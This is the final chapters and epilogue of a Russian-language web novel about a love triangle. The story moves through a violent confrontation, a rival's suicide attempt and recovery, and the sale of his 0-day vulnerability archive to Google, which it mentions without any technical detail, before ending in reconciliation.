Разговор был тяжёлым. Егор то извинялся, то обвинял Аню в чёрствости, то плакал, то злился. Аня пыталась сохранять спокойствие, но я видел, как дрожат её руки.


В какой-то момент Егор вскочил:


— Вы сговорились! Я всё вижу! Вы переписываетесь за моей спиной, встречаетесь, а я тут дурак!


— Егор, успокойся, — сказала Аня. — Ничего такого нет.


— Врёшь!


Он схватил меня. Неожиданно, резко. Я даже не успел среагировать. Повалил на пол, достал откуда-то верёвку.


— Егор, отпусти! — закричала Аня.


Но он уже связывал мне руки. Крепко, профессионально. Видимо, где-то научился.


Я лежал на полу, связанный, и смотрел на них. Аня пыталась его оттащить, но он был сильнее.


— Так, — сказал он, тяжело дыша. — Сейчас разберёмся. Кто кому кто.


Он сел за компьютер. Аня замерла посреди комнаты. Я видел, как её взгляд метался — от меня к нему, от него к двери, к окну. Она не знала, что делать.


Потом она шагнула в коридор. Я слышал, как открылся шкаф, как что-то упало. Когда она вернулась, в руках у неё был ремень. Его ремень. Тот самый, с тяжёлой пряжкой, который всегда висел в прихожей.


Она подошла ко мне. Встала надо мной. Ремень висел в её опущенной руке.


— Аня... — прошептал я.


Она не ответила. Она смотрела на меня, но я понял — она не видит меня. Она была где-то далеко. Внутри себя.


Её рука дрогнула. Ремень качнулся.


— Аня, — повторил я громче. — Посмотри на меня.


Она моргнула. Взгляд сфокусировался.


— Я не сделал ничего плохого, — сказал я. — Ты же знаешь.


Она молчала. В комнате было слышно только, как Егор стучит по клавиатуре.


Вдруг её лицо изменилось. Словно волна прошла — от оцепенения к боли, от боли к решимости. Я увидел, как сжались её челюсти, как дрогнули губы.


Она резко выдохнула и швырнула ремень на пол. Тот упал с глухим металлическим стуком.


Егор обернулся на звук.


— Ты чего?


Аня не ответила. Она опустилась рядом со мной на колени и начала развязывать верёвки. Её пальцы дрожали так сильно, что она не могла справиться с узлами.


— Аня, — снова позвал Егор. В его голосе появилась тревога.


— Молчи, — тихо сказала она. — Просто молчи.


Наконец верёвка поддалась. Я сел, растирая запястья. Аня не вставала с колен. Она смотрела на свои руки.


— Я могла тебя ударить, — прошептала она. — Я правда могла. На секунду мне показалось... что это правильно. Что ты заслужил.


Она подняла на меня глаза. В них стояли слёзы.


— Он меня научил, — сказала она тихо, кивнув в сторону Егора. — Когда мы ссорились, он говорил: «Ты сама виновата, довела меня». И я верила. Я правда верила, что если меня бьют — значит, я заслужила.


Егор вскочил:


— Я никогда тебя не бил!


— Не бил, — согласилась Аня. — Но убедил меня, что я это заслуживаю. И сегодня, когда я стояла с ремнём... я поняла, что становлюсь тобой. Что я тоже так могу. Нашла того, кто слабее, и готова наказать.


Она встала. Посмотрела на нас обоих — на меня, на него.


— Хватит. Я не буду этим человеком.


Егор стоял, вцепившись в спинку кресла. Лицо у него было белое.


— Аня, я...


— Не надо, — оборвала она. — Мы поговорим завтра. А сейчас я отведу его в спальню. И ты не тронешь никого из нас. Понял?


Он молча кивнул.


Аня протянула мне руку. Я взял её, и мы вышли из комнаты.


Глава 42. Ночь


Аня отвела меня в спальню. Свою комнату в этой квартире, которую она занимала, когда оставалась у него.


— Ложись, — сказала она. — Завтра поговорим.


Я лёг на кровать. Аня легла рядом. Просто легла, укрылась одеялом.


— Аня...


— Тихо. Спи.


Я чувствовал её тепло рядом. Слышал дыхание. В голове была каша из эмоций — страх, обида, нежность, надежда.


Так мы и заснули. Просто рядом. Чувствуя друг друга.


Глава 43. Утро


Я проснулся от того, что Аня уже не спала. Сидела на краю кровати, смотрела в окно.


— Проснулся? — спросила она, не оборачиваясь.


— Да.


— Через два часа нам надо серьёзно поговорить. Втроём. А пока... полежи ещё.


Она обернулась. Подошла ко мне. Обняла.


Просто обняла. Крепко, по-настоящему.


— Спасибо, что приехал, — сказала она. — Ты хороший.


Глава 44. Разговор


Через два часа мы сели за стол. Все трое. Егор был бледный, с красными глазами — видимо, не спал всю ночь.


Аня заговорила первая:


— Я приняла решение. Я не могу так жить. Егор, ты мне дорог, но твои выходки... это выше моих сил.


Егор опустил голову:


— Я понял. Ты уходишь.


— Нет. Не ухожу. Но и не возвращаюсь к тебе.


Она посмотрела на меня:


— Мне сон приснился сегодня. Странный. Что ты в будущем будешь очень хорошим человеком. И такой же кошмар приснился про Егора. Я думала всю ночь.


Пауза. Тишина.


— Я передумала быть с тобой только другом, — сказала она мне. — Хочешь быть в отношениях? Если не хочешь — можем остаться лучшими друзьями. Я тебя люблю. Что скажешь?


Я смотрел на неё. Потом на Егора. Он сидел, вцепившись в край стола.


— Аня... — начал я.


— Просто ответь.


Я сказал:


— Да.


Глава 45. Егор умоляет


Егор вскочил:


— Нет! Аня, нет! Ты не можешь так!


— Могу, Егор. Прости. Но я не твоя собственность.


— Я умру без тебя! — закричал он. — Ты же знаешь! Я прыгну!


— Не надо, — сказала Аня. — Ты сильный. Ты справишься. А если нет — я всегда помогу. Как друг. Но не как девушка.


Он рухнул обратно в кресло. Закрыл лицо руками.


— Уходите, — прошептал он. — Просто уйдите.


Мы вышли.


Глава 46. Падение


Мы сидели в кафе через дорогу. Молчали. Аня пила кофе, я смотрел в окно.


Вдруг её телефон зазвонил. Она посмотрела на экран:


— Егор.


Взяла трубку. Слушала. Лицо побелело.


— Егор, не надо! — закричала она. — Стой!


Но в трубке уже были гудки.


Мы выбежали на улицу. Посмотрели на его дом. На 8 этаже, стоял силуэт.


— Нет... — прошептала Аня.


Я уже набирал 112.


— Скорая? Человек на крыше, возможно, прыгнет! Адрес...


Но договорить я не успел.


Силуэт шагнул в пустоту.


Глава 47. Скорая


Мы бежали к дому. Люди уже собирались, кто-то кричал, кто-то звонил. Егор лежал на газоне, неестественно вывернувшись.


Аня упала рядом на колени. Не плакала — просто смотрела.


— Живой, — прошептала она. — Смотри, он дышит.


Действительно, грудь Егора поднималась и опускалась. Слабые, неровные движения.


Приехала скорая через пять минут, хотя казалось, что прошла вечность. Врачи засуетились вокруг, погрузили его на носилки.


— Вы с ним? — спросил врач.


— Да, — ответили мы хором.


— Поехали.


Глава 48. Больница


Реанимация. Три часа ожидания в коридоре. Аня сидела, сжавшись в комок, я обнимал её за плечи.


Наконец вышел врач:


— Жить будет. Множественные переломы, внутренние повреждения, но ничего критичного. Молодой, сильный организм. Месяц в больнице, потом долгая реабилитация. Могло быть хуже.


Аня разрыдалась. От облегчения.


Через два дня Егора перевели в обычную палату. Мы пришли.


Он лежал весь в гипсе, с капельницами, но глаза были открыты и осмысленные.


— Привет, — сказал он слабо.


— Привет, дурак, — ответила Аня. — Напугал нас.


— Прости. Я не хотел. Просто... накрыло.


Она села рядом, взяла его здоровую руку:


— Я здесь. Мы здесь. Не делай так больше.


Он посмотрел на меня. Долгим, тяжёлым взглядом.


— Ты её береги, — сказал он. — Если обидишь — я встану на ноги и... ну, ты знаешь.


Я улыбнулся:


— Знаю. Не обижу.


Глава 49. Передача


Через неделю Егору стало лучше. Он уже сидел, мог разговаривать дольше.


Однажды он попросил Аню принести ноутбук. Она принесла.


— Смотри, — сказал он, открывая какой-то файл. — Здесь всё. Все мои наработки. 0-day уязвимости, которые я нашёл за пять лет. Некоторые слабые, некоторые сильные. Есть даже пара таких, за которые Google даст большие миллионы.


— Зачем ты показываешь? — спросил я.


— Я подумал... Мне это больше не нужно. Лежать в больнице, думать о жизни... я понял, что гонка за уязвимостями — это бег от себя. Я боялся остаться один, поэтому уходил в код. А теперь... теперь я один. И код не греет.


Он посмотрел на Аню:


— Держи. Продайте это. Помните меня иногда.


Аня попыталась отказаться, но он настоял.


— Это моё наследство, — улыбнулся он. — Моё искупление.


Глава 50. Вторая продажа


Мы связались с Google. На этот раз у нас был целый архив — 15 уязвимостей разной степени критичности. Переговоры шли месяц.


Итог: 8.14 миллионов долларов.


Я стал миллионером дважды. Аня — впервые.


Мы сидели в кафе, смотрели на цифры в приложении и не верили.


— Что будем делать? — спросила она.


— Не знаю. Купим квартиру. Поедем путешествовать. Поможем Егору встать на ноги.


— Ты правда хочешь ему помогать? После всего?


Я задумался. После взлома, после угроз, после связывания, после прыжка.


— Да, — сказал я. — Он не враг. Он просто сломанный человек. А сломанных не бросают.


Аня посмотрела на меня. В глазах блестели слёзы.


— Я тебя люблю, — сказала она.


— И я тебя.


Глава 51. Квартира


Мы купили пятикомнатную квартиру в новом доме. Светлую, просторную, с большими окнами. Одну комнату обустроили для себя, вторую — под кабинет (Аня решила всё-таки открыть свою практику), третью — под спортзал, четвёртую — гостевую.


Пятую оставили пустой.


— Для кого? — спросил я.


— Увидишь, — загадочно ответила Аня.


Через месяц Егора выписали. Он ещё ходил с тростью, но уже самостоятельно. Мы приехали за ним.


— Есть предложение, — сказала Аня. — Поживи у нас. Комната есть, условия хорошие. А там решишь.


Егор смотрел на нас. Долго. Потом сказал:


— Вы серьёзно? После всего?


— Серьёзно, — ответил я. — Мы же теперь семья. Почти.


Он заплакал. Впервые я видел, чтобы он плакал — не от злости, не от отчаяния, а от благодарности.


— Я... я не знаю, что сказать.


— Скажи «да», — улыбнулась Аня.


Он сказал «да».


Глава 52. Жизнь


Прошёл год.


Егор живёт в пятой комнате. Работает удалённо в крупной IT-компании, занимается безопасностью. Легально. Стал спокойнее, мягче. Иногда мы сидим вечерами, обсуждаем новые уязвимости, шутим, спорим.


Иногда он исчезает на два дня. Просто закрывается в комнате, не отвечает на сообщения, пишет код. В такие моменты Аня ставит тарелку с едой под его дверь и молча уходит. А утром проверяет, пустая ли тарелка. Если пустая — значит, живой.


Он всегда живой.


Аня открыла кабинет. К ней приходят люди — с тревогой, с депрессией, с семейными проблемами. Она помогает. Иногда поздно вечером я слышу, как она плачет в ванной, чтобы никто не слышал. Слишком много чужой боли за день. Я делаю ей чай, и мы сидим молча, пока она не уснёт у меня на плече.


Я... я просто живу. Пишу код, инвестирую, путешествую. Мы с Аней ездим вместе — в горы, на море, в леса. Просто быть рядом — это счастье.


Иногда по ночам мне снится верёвка на запястьях. Я просыпаюсь и долго смотрю на спящую Аню. Её лицо во сне спокойное, почти детское. И я вспоминаю ту секунду — когда она стояла с ремнём. Я знаю, что она тоже это помнит. Мы никогда не говорим об этом вслух. Но в редкие ночи, когда она просыпается с криком, я просто обнимаю её и молчу. Мы оба знаем, что это было. И оба знаем, что выбрали жить дальше.


Мы втроём часто собираемся на кухне. Егор готовит пасту — у него отлично получается, Аня заваривает чай, я рассказываю истории. Мы смеёмся.


В такие моменты я смотрю на них и думаю: эти двое могли бы быть моими врагами. Один украл мои данные, другая могла бы меня уничтожить. А теперь они — моя семья.


Семья со шрамами. С ночными кошмарами. С дверью, за которую иногда нельзя заходить. С ванной, где по ночам плачет психолог, спасающий чужие души. С тарелками под дверью вместо разговоров.


Но семья.


ЭПИЛОГ


Я прошёл путь:


· Жертва

· Охотник

· Хакер

· Миллионер

· Друг

· Свидетель

· Связанный

· Прощённый

· Любимый

· Спаситель

· Снова миллионер

· Брат


Я видел, как человек падал с 8 этажа и выжил.

Я видел, как любовь побеждает ненависть.

Я видел, как деньги приходят к тем, кто остаётся человеком.

Я видел, как сталь может быть мягкой.

Я видел, как слёзы останавливают ремень.

Я видел, как код превращается в искупление.

Я видел, как враги становятся братьями.

Я видел, как утром она сказала: «Через два часа поговорим».

Я видел, как она предложила попробовать.

Я сказал «да».


Я видел, как она плачет в ванной, когда думает, что никто не слышит.

Я видел, как он не ест три дня, потому что внутри пустота.

Я видел тарелки под дверью и пустые тарелки утром.

Я видел, как мы учимся жить с тем, что нельзя забыть.


Сейчас я сижу на кухне. За окном вечер. Егор возится с ужином, Аня читает книгу в кресле. Пахнет чесноком и травами. Где-то в комнате Егора тихо гудит сервер. Где-то в ванной ещё не высохли капли на зеркале. Где-то в нас ещё живёт тот вечер с ремнём, тот полёт с восьмого этажа, те бессонные ночи.


Завтра будет новый день. Я не знаю, что он принесёт. Может, Егор снова закроется в комнате. Может, Аня снова будет плакать, думая, что я не слышу. Может, мне снова приснится верёвка.


Но я знаю, что я не один.


И это главная уязвимость, которую я нашёл в этой жизни.


Конец.


---


800 км — расстояние, которое нужно пройти, чтобы понять: иногда враги становятся ближе друзей. А иногда любовь приходит оттуда, откуда не ждёшь. И даже когда она приходит, шрамы остаются. Но с ними можно жить. Если не один.

Загрузка...